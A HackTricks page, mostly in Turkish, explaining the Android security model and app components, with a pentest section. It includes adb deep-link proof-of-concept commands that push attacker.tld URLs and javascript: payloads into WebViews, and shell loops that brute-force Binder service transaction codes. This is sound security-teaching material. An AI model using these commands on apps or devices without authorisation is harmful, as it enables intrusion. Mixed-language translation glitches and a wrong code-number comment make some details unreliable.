Android Applications Basics

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Android Security Model

İki katman vardır:

  • OS, kurulu uygulamaları birbirinden izole tutar.
  • uygulamanın kendisi, geliştiricilerin belirli işlevleri açığa çıkarmasına ve uygulama yeteneklerini yapılandırmasına izin verir.

UID Separation

Her uygulamaya belirli bir User ID (UID) atanır. Bu, uygulama kurulurken yapılır, böylece uygulama yalnızca kendi User ID’sine ait veya paylaşılan dosyalarla etkileşime girebilir. Bu nedenle, uygulama verilerine yalnızca uygulamanın kendisi, OS’nin belirli bileşenleri ve root kullanıcısı erişebilir.

UID Sharing

İki uygulama aynı UID’yi kullanacak şekilde yapılandırılabilir. Bu, bilgi paylaşmak için faydalı olabilir, ancak bunlardan biri ele geçirilirse her iki uygulamanın verileri de tehlikeye girecektir. Bu yüzden bu davranış önerilmez.
Aynı UID’yi paylaşmak için uygulamaların manifestlerinde aynı android:sharedUserId değerini tanımlamaları gerekir.

Sandboxing

Android Application Sandbox, her uygulamanın ayrı bir süreç olarak ayrı bir user ID altında çalışmasına izin verir. Her sürecin kendi sanal makinesi vardır, böylece bir uygulamanın kodu diğer uygulamalardan izole şekilde çalışır.
Android 5.0(L) itibarıyla SELinux zorlanır. Temelde SELinux tüm süreç etkileşimlerini reddetti ve ardından süreçler arasındaki yalnızca beklenen etkileşimlere izin veren politikalar oluşturdu.

Permissions

Bir uygulamayı yüklendiğinizde ve izinler istiyorsa, uygulama AndroidManifest.xml dosyasındaki uses-permission öğelerinde yapılandırılan izinleri talep ediyordur. uses-permission öğesi, istenen iznin adını name özniteliği içinde belirtir. Ayrıca belirtilen sürümden daha yüksek sürümlerde izin istemeyi durduran maxSdkVersion özniteliğine sahiptir.
Not: android uygulamalarının başlangıçta tüm izinleri istemesi gerekmez; ayrıca izinleri dinamik olarak da isteyebilirler ancak tüm izinler manifestte bildirilmelidir.

Bir uygulama işlevsellik açığa çıkardığında erişimi yalnızca belirli bir izne sahip uygulamalarla sınırlayabilir.
Bir permission öğesinin üç özniteliği vardır:

  • İznin adı
  • İlgili izinleri gruplandırmaya yarayan permission-group özniteliği.
  • İzinlerin nasıl verildiğini gösteren protection-level. Dört tür vardır:
  • Normal: Uygulamaya bilinen bir tehdit olmadığında kullanılır. Kullanıcının onaylaması gerekmez.
  • Dangerous: İsteği yapan uygulamaya bazı yükseltilmiş erişimler verdiğini belirtir. Kullanıcılardan onay istenir.
  • Signature: Sadece aynı sertifika ile imzalanmış uygulamalara bu izni vermek mümkündür. Bu en güçlü koruma türüdür.
  • SignatureOrSystem: Sadece aynı sertifika ile imzalanmış uygulamalar veya system-seviyesinde çalışan uygulamalar izni alabilir.

Pre-Installed Applications

Bu uygulamalar genellikle /system/app veya /system/priv-app dizinlerinde bulunur ve bazıları optimize edilmiş olabilir (hatta classes.dex dosyasını bulamayabilirsiniz). Bu uygulamalar kontrol edilmeye değerdir çünkü bazen çok fazla izinle (örneğin root olarak) çalışıyor olabilirler.

  • AOSP (Android OpenSource Project) ROM ile gelenler
  • Cihaz üreticisi tarafından eklenenler
  • Telefon operatörü tarafından eklenenler (onlardan satın alındıysa)

Rooting

Fiziksel bir android cihazda root erişimi elde etmek için genellikle cihaz ve sürüme özgü olan 1 veya 2 vulnerabilities (açık) exploit etmeniz gerekir.
Exploit başarılı olduktan sonra genellikle Linux su binary’si kullanıcı PATH çevre değişkeninde belirtilen bir konuma, ör. /system/xbin kopyalanır.

su binary yapılandırıldıktan sonra, su binary ile arayüz kurmak ve root erişimi için istekleri işlemek üzere Superuser veya SuperSU gibi başka bir Android uygulaması kullanılır (Google Play store’da bulunur).

Caution

Rooting işleminin çok tehlikeli olduğunu ve cihazda ciddi hasara yol açabileceğini unutmayın

ROMs

OS’yi değiştirmek için custom firmware yüklemek mümkündür. Bunu yaparak eski bir cihazın kullanım ömrünü uzatmak, yazılım kısıtlamalarını aşmak veya en son Android koduna erişmek mümkün olur.
OmniROM ve LineageOS en popüler firmwarelerden ikisidir.

Not: custom firmware yüklemek için her zaman cihazı rootlamak gerekli değildir. Bazı üreticiler, bootloader’larını iyi belgelenmiş ve güvenli bir şekilde unlock etmeye izin verir.

Implications

Cihaz rootlandıktan sonra, herhangi bir uygulama root olarak erişim istemesi mümkün olur. Kötü niyetli bir uygulama bu erişimi elde ederse, neredeyse her şeye erişebilir ve telefonu zarar verebilir.

Android Application Fundamentals

  • Android uygulamalarının formatına APK file format denir. Esasen bir ZIP dosyasıdır (dosya uzantısı .zip olarak değiştirildiğinde içeriği çıkarılıp incelenebilir).
  • APK İçeriği (tam liste değildir)
  • AndroidManifest.xml
  • resources.arsc/strings.xml
  • resources.arsc: ikili XML gibi derlenmiş kaynakları içerir.
  • res/xml/files_paths.xml
  • META-INF/
  • Sertifikanın bulunduğu yer burasıdır!
  • classes.dex
  • Dalvik bytecode içerir; uygulamanın çalıştırdığı derlenmiş Java (veya Kotlin) kodunu temsil eder.
  • lib/
  • Yerel kütüphaneleri barındırır, CPU mimarisine göre alt dizinlere ayrılmıştır.
  • armeabi: ARM tabanlı işlemciler için kod
  • armeabi-v7a: ARMv7 ve üzeri işlemciler için kod
  • x86: X86 işlemciler için kod
  • mips: Sadece MIPS işlemciler için kod
  • assets/
  • Uygulamanın ihtiyaç duyduğu çeşitli dosyaları saklar; ek yerel kütüphaneler veya DEX dosyaları içerebilir, bazen zararlı yazılım yazarları ek kodu gizlemek için kullanır.
  • res/
  • resources.arsc içine derlenmemiş kaynakları içerir

Dalvik & Smali

Android geliştirmede Java veya Kotlin uygulama oluşturmak için kullanılır. Masaüstü uygulamalarda olduğu gibi JVM kullanılmak yerine, bu kod Dalvik Executable (DEX) bytecode’una derlenir. Önceden Dalvik virtual machine bu bytecode’u çalıştırıyordu, ancak artık Android Runtime (ART) daha yeni Android sürümlerinde bunu devralmıştır.

Tersine mühendislik için Smali kritik hale gelir. Bu, DEX bytecode’un insan tarafından okunabilir halidir ve kaynak kodu bytecode talimatlarına çevirerek assembly diline benzer bir yapı sunar. Bu bağlamda Smali ve baksmali, assembly ve disassembly araçlarını ifade eder.

Intents

Intents, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmasının temel yoludur. Bu mesaj nesneleri ayrıca uygulamalar veya bileşenler arasında GET/POST isteklerine benzer şekilde veri taşıyabilir.

Yani bir Intent temelde bileşenler arasında iletilen bir mesajdır. Intent’ler belirli bileşenlere yönlendirilebilir veya belirli bir alıcı olmadan gönderilebilir.
Basitçe Intent şu amaçlarla kullanılabilir:

  • Bir Activity başlatmak için, tipik olarak bir uygulama için kullanıcı arayüzü açar
  • Sistemi ve uygulamaları değişikliklerden haberdar etmek için broadcast olarak
  • Arka plandaki bir servisi başlatmak, durdurmak ve onunla iletişim kurmak için
  • ContentProviders aracılığıyla verilere erişmek için
  • Olayları işlemek için callback olarak

Eğer zafiyetli ise, Intents çeşitli saldırılar için kullanılabilir.

Intent-Filter

Intent Filters, bir activity, service veya Broadcast Receiver’ın farklı türde Intent’lerle nasıl etkileşime girebileceğini tanımlar. Esasen bu filtreler, bu bileşenlerin hangi eylemleri gerçekleştirebileceği veya hangi broadcast’leri işleyebileceği gibi yeteneklerini açıklar. Bu filtrelerin ana deklarasyon yeri AndroidManifest.xml dosyasıdır, ancak Broadcast Receiver’lar için kod içinde tanımlama da mümkündür.

Intent Filter’ler kategoriler, eylemler ve veri filtrelerinden oluşur ve ek metadata içerebilir. Bu yapı, bileşenlerin ilan edilen kriterlerle eşleşen belirli Intent’leri işlemesini sağlar.

Android bileşenlerinin (activities/services/content providers/broadcast receivers) önemli bir yönü görünürlükleri veya public statüleridir. Bir bileşen, manifestte exported değeri true olarak ayarlanmışsa veya için bir Intent Filter ilan edilmişse public kabul edilir ve diğer uygulamalarla etkileşime girebilir. Ancak geliştiricilerin bu bileşenleri açıkça özel tutma yolu vardır; böylece istemeden diğer uygulamalarla etkileşime girmezler. Bu, manifest tanımlarında exported özniteliğini false olarak ayarlayarak sağlanır.

Ayrıca geliştiriciler bu bileşenlere erişimi daha da güvence altına almak için belirli izinler gerektirebilirler. permission özniteliği, yalnızca atanan izne sahip uygulamaların bileşene erişmesini zorunlu kılacak şekilde ayarlanabilir; bu, kimin etkileşim kurabileceği üzerinde ek bir güvenlik ve kontrol katmanı ekler.

<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>

Implicit Intents

Intents programatik olarak bir Intent constructor kullanılarak oluşturulur:

Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));

Önceden bildirilen intent’in Action’ı ACTION_SEND ve Extra’sı bir mailto Uri’dir (Extra, intent’in beklediği ek bilgidir).

Bu intent, aşağıdaki örnekte olduğu gibi manifest içinde bildirilmelidir:

<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

Bir intent-filter bir mesaj almak için action, data ve category ile eşleşmelidir.

“The “Intent resolution” process determine which app should receive each message. Bu süreç intent-filter declaration içinde ayarlanabilen priority attribute’u dikkate alır ve the one with the higher priority will be selected. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar SYSTEM_HIGH_PRIORITY değerini kullanabilir. Eğer bir conflict ortaya çıkarsa, bir “choser” Window görünür ve user can decide.

Explicit Intents

Bir explicit intent hedeflediği sınıf adını belirtir:

Intent downloadIntent = new (this, DownloadService.class):

Diğer uygulamalarda, daha önce bildirilen intent’e erişmek için şunu kullanabilirsiniz:

Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);

Pending Intents

Bunlar diğer uygulamaların uygulamanız adına, uygulamanızın kimliği ve izinlerini kullanarak eylem gerçekleştirmesine izin verir. Bir Pending Intent oluştururken bir intent ve gerçekleştirilecek eylem belirtilmelidir. Eğer bildirilen intent Explicit değilse (hangi intentin çağırabileceğini belirtmiyorsa), kötü amaçlı bir uygulama mağdur uygulama adına bildirilen eylemi gerçekleştirebilir. Ayrıca, bir eylem belirtilmemişse, kötü amaçlı uygulama mağdur adına herhangi bir eylemi gerçekleştirebilir.

Broadcast Intents

Önceki intentlerin aksine (sadece bir uygulama tarafından alınan), broadcast intentler birden fazla uygulama tarafından alınabilir. Ancak, API sürümü 14’ten itibaren, mesajı alması gereken uygulamayı Intent.setPackage kullanarak belirlemek mümkündür.

Alternatif olarak, broadcast gönderirken bir izin belirtmek de mümkündür. Alıcı uygulamanın o izne sahip olması gerekir.

Broadcast’ların iki türü vardır: Normal (asenkron) ve Ordered (senkron). Sıralama, receiver elementi içindeki yapılandırılmış önceliğe dayanır. Her uygulama Broadcast’i işleyebilir, iletebilir veya düşürebilir.

Context sınıfındaki sendBroadcast(intent, receiverPermission) fonksiyonunu kullanarak bir broadcast göndermek mümkündür.
Ayrıca LocalBroadCastManager içindeki sendBroadcast fonksiyonunu kullanmak mesajın uygulamadan hiç çıkmamasını sağlar. Bunu kullanarak bir receiver bileşenini export etmenize bile gerek kalmaz.

Sticky Broadcasts

Bu tür Broadcast’lara gönderildikten uzun süre sonra bile erişilebilir.
Bunlar API level 21’de deprecated edildi ve kullanılmamaları önerilir.
They allow any application to sniff the data, but also to modify it.

Eğer içinde “sticky” kelimesi geçen fonksiyonlar bulursanız, ör. sendStickyBroadcast veya sendStickyBroadcastAsUser, etkisini kontrol edin ve mümkünse kaldırmaya çalışın.

Android uygulamalarında, deep links bir URL aracılığıyla doğrudan bir eylem (Intent) başlatmak için kullanılır. Bu, bir activity içinde belirli bir URL scheme tanımlanarak yapılır. Bir Android cihaz bu scheme’e sahip bir URL’ye erişmeye çalıştığında, uygulamadaki belirtilen activity başlatılır.

Scheme, AndroidManifest.xml dosyasında tanımlanmalıdır:

[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]

Önceki örnekteki şema examplescheme://’dir (ayrıca category BROWSABLE olduğunu unutmayın)

Ardından, data alanında host ve path belirtebilirsiniz:

<data android:scheme="examplescheme"
android:host="example"
/>

Web üzerinden erişmek için şöyle bir bağlantı ayarlamak mümkündür:

<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>

In order to find the code that will be executed in the App, go to the activity called by the deeplink and search the function onNewIntent.

Learn how to call deep links without using HTML pages.

  • Entry point discovery: exported Activities that declare <action android:name="android.intent.action.VIEW" /> + <category android:name="android.intent.category.BROWSABLE" /> are remotely reachable via crafted URIs (custom schemes or http/https App Links). Prioritise paths containing login/reset/payment/wallet/admin keywords.
  • Validation bypass heuristics: weak host checks such as endsWith(), contains(), permissive regexes, or substring allowlists can usually be bypassed with attacker-controlled subdomains, prefix/suffix tricks, and URL/UTF‑8 double-encoding.
  • WebView sinks: if the handler forwards the incoming URI or query params to WebView.loadUrl(...), you can coerce the app to render arbitrary attacker content. If scheme validation is weak, try javascript: payloads as well as external https:// URLs.
  • adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"

# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
  • Operasyonel ipuçları: birden fazla payload varyantı yakalayın (external URL vs javascript:) ve gerçek cihaz/emülatör üzerinde bunları hızlıca yeniden oynatarak gerçek sorunları (open-redirect/auth-bypass/WebView URL injection) statik analiz gürültüsünden ayırın.
  • Automation: Deep-C APK’yi decompile ederek (apktool + dex2jar + jadx) deeplink hunting işlemini otomatikleştirir, exported + browsable aktiviteleri listeler, zayıf doğrulama ile WebView.loadUrl akışlarını korelasyonlayarak çalıştırılmaya hazır adb PoC’ler üretir (isteğe bağlı olarak --exec ile otomatik çalıştırılabilir).

AIDL - Android Arayüz Tanımlama Dili

Android Interface Definition Language (AIDL), Android uygulamalarında client ile service arasında interprocess communication (IPC) sağlamak için tasarlanmıştır. Android’de başka bir prosesin belleğine doğrudan erişim izinli olmadığından, AIDL nesneleri işletim sistemi tarafından anlaşılan bir biçime serileştirerek (marshalling) farklı prosesler arasındaki iletişimi kolaylaştırır.

Temel Kavramlar

  • Bound Services: Bu servisler IPC için AIDL kullanır; aktiviteler veya bileşenler bir servise bind olabilir, istek yapabilir ve yanıt alabilir. Servisin sınıfındaki onBind metodu etkileşimi başlatmada kritik öneme sahiptir ve güvenlik incelemelerinde zafiyet aramak için önemli bir alandır.

  • Messenger: Bound service olarak çalışan Messenger, IPC’yi onBind metoduna odaklanarak veri işleme şeklinde kolaylaştırır. Bu metodu, herhangi bir güvensiz veri işleme veya hassas fonksiyonların yürütülmesi açısından dikkatle incelemek gerekir.

  • Binder: AIDL soyutlaması nedeniyle Binder sınıfının doğrudan kullanımı daha az yaygın olsa da, Binder’ın farklı proseslerin bellek alanları arasında veri transferini sağlayan kernel-seviyesinde bir driver olduğunu anlamak faydalıdır. Daha fazla bilgi için şu kaynağa bakabilirsiniz: https://www.youtube.com/watch?v=O-UHvFjxwZ8.

Bileşenler

Bunlar şunları içerir: Activities, Services, Broadcast Receivers and Providers.

Launcher Activity and other activities

Android uygulamalarında activities, uygulamanın kullanıcı arayüzünün farklı bölümlerini gösteren ekranlar gibidir. Bir uygulamanın birçok activity’si olabilir; her biri kullanıcıya farklı bir ekran sunar.

Launcher activity bir uygulamanın ana kapısıdır ve uygulama simgesine dokunduğunuzda başlatılır. Uygulamanın manifest dosyasında belirli MAIN ve LAUNCHER intent’leri ile tanımlanır:

<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

Her uygulamanın bir launcher activity’ye ihtiyacı yoktur; özellikle kullanıcı arayüzü olmayanlar (ör. arka plan servisleri).

Aktiviteler manifest’te “exported” olarak işaretlenerek diğer uygulamalara veya süreçlere açılabilir. Bu ayar diğer uygulamaların bu aktiviteyi başlatmasına izin verir:

<service android:name=".ExampleExportedService" android:exported="true"/>

Ancak, başka bir uygulamadan bir activity’ye erişim her zaman bir güvenlik riski oluşturmaz. Asıl endişe, hassas verilerin uygunsuz şekilde paylaşılmasıdır; bu da bilgi leaks’e yol açabilir.

Bir activity’nin yaşam döngüsü begins with the onCreate method, kullanıcı arayüzünü kurar ve activity’yi kullanıcı ile etkileşim için hazırlar.

Application Alt Sınıfı

Android geliştirmede, bir uygulama Application sınıfının bir alt sınıfını oluşturma seçeneğine sahiptir, ancak bu zorunlu değildir. Böyle bir alt sınıf tanımlandığında, uygulama içinde örneklenen ilk sınıf olur. Bu alt sınıfta uygulanmışsa, attachBaseContext metodu onCreate metodundan önce çalıştırılır. Bu yapı, uygulamanın geri kalanı başlamadan önce erken başlatmaya olanak tanır.

public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}

@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}

Servisler

Services arayüzü olmayan görevleri yürütebilen arka plan bileşenleridir. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir; bu nedenle servisler uzun süre çalışan işlemler için kritik öneme sahiptir.

Servisler çok yönlüdür; çeşitli şekillerde başlatılabilirler ve uygulamanın giriş noktası olarak başlatılmalarında birincil yöntem Intents’dir. Bir servis startService yöntemiyle başlatıldığında, onStart yöntemi devreye girer ve stopService yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir servisin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi servise bağlamak için bindService yöntemi kullanılır ve veri aktarımı için onBind yöntemi tetiklenir.

Servislerin yaygın kullanımlarına, kullanıcının uygulamayla etkileşimini engellemeden arka planda müzik çalma veya ağ verisi çekme dahildir. Ayrıca servisler aynı cihazdaki diğer süreçlerin erişimine exporting yoluyla açılabilir. Bu varsayılan davranış değildir ve Android Manifest dosyasında açık bir yapılandırma gerektirir:

<service android:name=".ExampleExportedService" android:exported="true"/>

Broadcast Receivers

Broadcast alıcıları, bir mesajlaşma sisteminde dinleyici görevi görür ve aynı sistem mesajına birden fazla uygulamanın yanıt vermesine izin verir. Bir uygulama alıcıyı kaydedebilir iki temel şekilde: uygulamanın Manifest dosyasında veya uygulama kodu içinde dynamically olarak registerReceiver API’si ile. Manifest içinde broadcast’ler izinlerle filtrelenir; dinamik olarak kaydedilen alıcılar ise kaydolurken izin belirtebilir.

Intent filtreleri, hangi broadcast’lerin alıcıyı tetikleyeceğini belirleyerek her iki kayıt yönteminde de kritik öneme sahiptir. Eşleşen bir broadcast gönderildiğinde alıcının onReceive metodu çağrılır ve uygulama buna göre tepki verebilir (ör. düşük pil uyarısına bağlı davranış değişikliği).

Broadcast’ler ya asenkron olabilir (tüm alıcılara sıra olmadan ulaşır) ya da senkron olabilir (alıcılar belirlenen önceliklere göre broadcast’i alır). Ancak herhangi bir uygulamanın kendine öncelik verip broadcast’i yakalayabileceği için bu bir güvenlik riski oluşturabilir.

Bir alıcının işlevini anlamak için sınıfı içinde onReceive metodunu arayın. Bu metodun kodu alınan Intent’i değiştirebilir; bu nedenle alıcıların veri doğrulaması yapması önemlidir, özellikle Ordered Broadcasts durumunda Intent değiştirilebilir veya iptal edilebilir.

Content Provider

Content Provider’lar, uygulamalar arasında yapılandırılmış veri paylaşımı için gereklidir ve verinin güvenliği için izinlerin uygulanması önemlidir. Veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan veri erişimine izin verirler. Erişimi kontrol etmek için readPermission ve writePermission gibi özel izinler kritiktir. Ayrıca, uygulamanın manifest’inde grantUriPermission ayarları ile geçici erişim verilebilir; detaylı erişim kontrolü için path, pathPrefix ve pathPattern gibi öznitelikler kullanılabilir.

Girdi doğrulaması, SQL injection gibi zayıflıkları önlemek için hayati öneme sahiptir. Content Provider’lar temel işlemleri destekler: insert(), update(), delete() ve query(), böylece uygulamalar arasında veri manipülasyonu ve paylaşımı sağlanır.

Permission semantics and pitfalls (Content Providers)

  • Eğer bir provider exported ise, hem readPermission hem de writePermission’ı açıkça belirtmelisiniz. writePermission atlanırsa varsayılan null’dır; bu, provider tarafından insert/update/delete metodları uygulanıyorsa herhangi bir uygulamanın bu işlemleri denemeye çalışabileceği anlamına gelir.
  • Güvenilmeyen projection, selection, selectionArgs veya sortOrder verilerini ham SQL’e asla eklemeyin. Beyaz listeler ve parametre bağlama kullanın (ör. SQLiteQueryBuilder ile projection map) ve sabit WHERE şablonları tercih edin.
  • Provider’ın genel olması gerekmedikçe android:exported="false" tercih edin. Seçici paylaşım için grantUriPermissions ile path/pathPrefix/pathPattern kullanın.

FileProvider, dosyaları güvenli şekilde paylaşmaya odaklanan özel bir Content Provider’dır. Uygulamanın manifest’inde klasörlere erişimi kontrol eden belirli özniteliklerle tanımlanır; örneğin android:exported ve android:resource klasör yapılandırmalarına işaret eder. Dizinleri paylaşırken hassas verilerin yanlışlıkla açığa çıkmasını önlemek için dikkatli olunmalıdır.

Example manifest declaration for FileProvider:

<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>

Ve filepaths.xml içinde paylaşılan klasörleri belirtmeye bir örnek:

<paths>
<files-path path="images/" name="myimages" />
</paths>

Daha fazla bilgi için:

WebViews

WebView’ler Android uygulamaları içinde web’den veya yerel dosyalardan içerik çeken mini web tarayıcıları gibidir. Normal tarayıcılarla benzer risklere sahiptirler, ancak belirli ayarlarla bu riskleri azaltmak mümkündür.

Android iki ana WebView türü sunar:

  • WebViewClient temel HTML için uygundur fakat JavaScript alert fonksiyonunu desteklemez; bu durum XSS testlerini etkiler.
  • WebChromeClient ise daha çok tam Chrome tarayıcı deneyimi gibidir.

Önemli bir nokta: WebView tarayıcıları cihazın ana tarayıcısıyla çerezleri paylaşmazlar.

İçerik yüklemek için loadUrl, loadData ve loadDataWithBaseURL gibi yöntemler bulunur. Bu URL’lerin veya dosyaların güvenli olduğundan emin olmak hayati önem taşır. Güvenlik ayarları WebSettings sınıfı ile yönetilebilir. Örneğin, JavaScript’i setJavaScriptEnabled(false) ile devre dışı bırakmak XSS saldırılarını önleyebilir.

JavaScript “Bridge” Java nesnelerinin JavaScript ile etkileşmesine izin verir; Android 4.2’den itibaren güvenlik için ilgili yöntemlerin @JavascriptInterface ile işaretlenmesi gerekir.

İçerik erişimine izin vermek (setAllowContentAccess(true)) WebView’lerin Content Providers’a erişmesine olanak tanır; bu, içerik URL’leri güvenli olarak doğrulanmadıkça risk oluşturabilir.

Dosya erişimini kontrol etmek için:

  • Dosya erişimini devre dışı bırakmak (setAllowFileAccess(false)) dosya sistemine erişimi sınırlar; belirli varlıklar için istisnalar olabilir; bu varlıkların yalnızca hassas olmayan içerikler için kullanıldığından emin olun.

Other App Components and Mobile Device Management

Digital Signing of Applications

  • Digital signing Android uygulamaları için zorunludur; uygulamanın gerçekten kimin tarafından yazıldığını kurulum öncesi garanti eder. Bu süreç uygulamayı tanımlayan bir sertifika kullanır ve cihazın package manager tarafından kurulum sırasında doğrulanmalıdır. Uygulamalar self-signed veya harici bir CA tarafından sertifikalandırılabilir; bu, yetkisiz erişimi önlemeye ve uygulamanın cihaz teslimi sırasında değiştirilmediğini garanti etmeye yardımcı olur.

App Verification for Enhanced Security

  • Android 4.2 ile başlayan bir özellik olan Verify Apps, kullanıcıların uygulamaları yüklemeden önce güvenlik açısından kontrol ettirebilmelerini sağlar. Bu doğrulama süreci potansiyel olarak zararlı uygulamalar konusunda kullanıcıyı uyarabilir veya özellikle kötü amaçlı olanların yüklenmesini engelleyerek kullanıcı güvenliğini artırabilir.

Mobile Device Management (MDM)

  • MDM solutions mobil cihazlar için Device Administration API aracılığıyla denetim ve güvenlik sağlar. Etkili bir şekilde mobil cihazları yönetip güvence altına almak için bir Android uygulamasının kurulmasını gerektirir. Temel işlevler arasında parola politikalarının uygulanması, depolama şifrelemesinin zorlanması ve uzaktan veri silme izni yer alır; bu sayede mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlanır.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);

if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}

AIDL / Binder Servislerini Listeleme ve Sömürme

Android Binder IPC birçok sistem ve üretici tarafından sağlanan servisi açığa çıkarır. Bu servisler uygun bir izin kontrolü olmadan dışa aktarıldığında bir saldırı yüzeyi haline gelir (AIDL katmanı kendisi hiçbir erişim denetimi yapmaz).

1. Çalışan servisleri keşfetme

# from an adb shell (USB or wireless)
service list               # simple one-liner
am list services           # identical output, ActivityManager wrapper
  1. Örnek öğe 1
  2. Örnek öğe 2
  3. Örnek öğe 3
145  mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146  wifi             : [android.net.wifi.IWifiManager]
  • Bu indeks (ilk sütun) çalışma zamanında atanır – yeniden başlatmalar arasında buna güvenmeyin.
  • Bu Binder name (ör. mtkconnmetrics) service call’a iletilecek olan değerdir.
  • Köşeli parantez içindeki değer, stub’un oluşturulduğu tam nitelikli AIDL interface’dir.

2. Arayüz tanımlayıcısını edin (PING)

Her Binder stub’u otomatik olarak transaction code 0x5f4e5446 (1598968902 ondalık, ASCII “_NTF”)’yi uygular.

# "ping" the service
service call mtkconnmetrics 1    # 1 == decimal 1598968902 mod 2^32

Geçerli bir yanıt, arayüz adını bir Parcel içinde UTF-16 dizesi olarak döndürür.

3. Bir transaction çağırma

Sözdizimi: service call <name> <code> [type value ...]

Yaygın argüman belirteçleri:

  • i32 <int> – işaretli 32-bit değer
  • i64 <long> – işaretli 64-bit değer
  • s16 <string> – UTF-16 dizesi (Android 13+ utf16 kullanır)

Örnek – bir MediaTek cihazında uid 1 ile ağ izlemeyi başlat:

service call mtkconnmetrics 8 i32 1

4. Brute-forcing bilinmeyen yöntemler

Başlık dosyaları mevcut olmadığında, hata şu durumdan değişene kadar iterate the code yapabilirsiniz:

Result: Parcel(00000000 00000000)  # "Not a data message"

normal bir Parcel yanıtına veya SecurityException’a.

for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done

Servis with proguard ile derlenmişse, eşleme tahmin edilmelidir – bir sonraki adıma bakın.

5. Kodları ↔ metodları onTransact() ile eşleme

Arayüzü uygulayan jar/odex’i decompile edin (AOSP stubs için /system/framework’e bakın; OEM’ler genellikle /system_ext veya /vendor kullanır). Stub.onTransact()’ı arayın – içinde devasa bir switch(transactionCode) vardır:

case TRANSACTION_updateCtaAppStatus:      // 5
data.enforceInterface(DESCRIPTOR);
int appId  = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;

Artık prototip ve parametre türleri tamamen net.

6. Eksik izin kontrollerini tespit etme

Uygulama (genellikle iç Impl sınıfı) yetkilendirmeden sorumludur:

private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}

Absence of such logic or a whitelist of privileged UIDs (e.g. uid == 1000 /*system*/) is a zafiyet göstergesi.

Case study – MediaTek startMonitorProcessWithUid() (transaction 8) fully executes a Netlink message without any permission gate, allowing an unprivileged app to interact with the kernel’s Netfilter module and spam the system log.

7. Değerlendirmeyi otomatikleştirme

Binder keşfini hızlandıran araçlar / betikler:

  • binderfs/dev/binderfs’i servis başına düğümlerle açığa çıkarır
  • binder-scanner.py – binder tablosunda yürür ve ACL’leri yazdırır
  • Frida kısayolu: Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin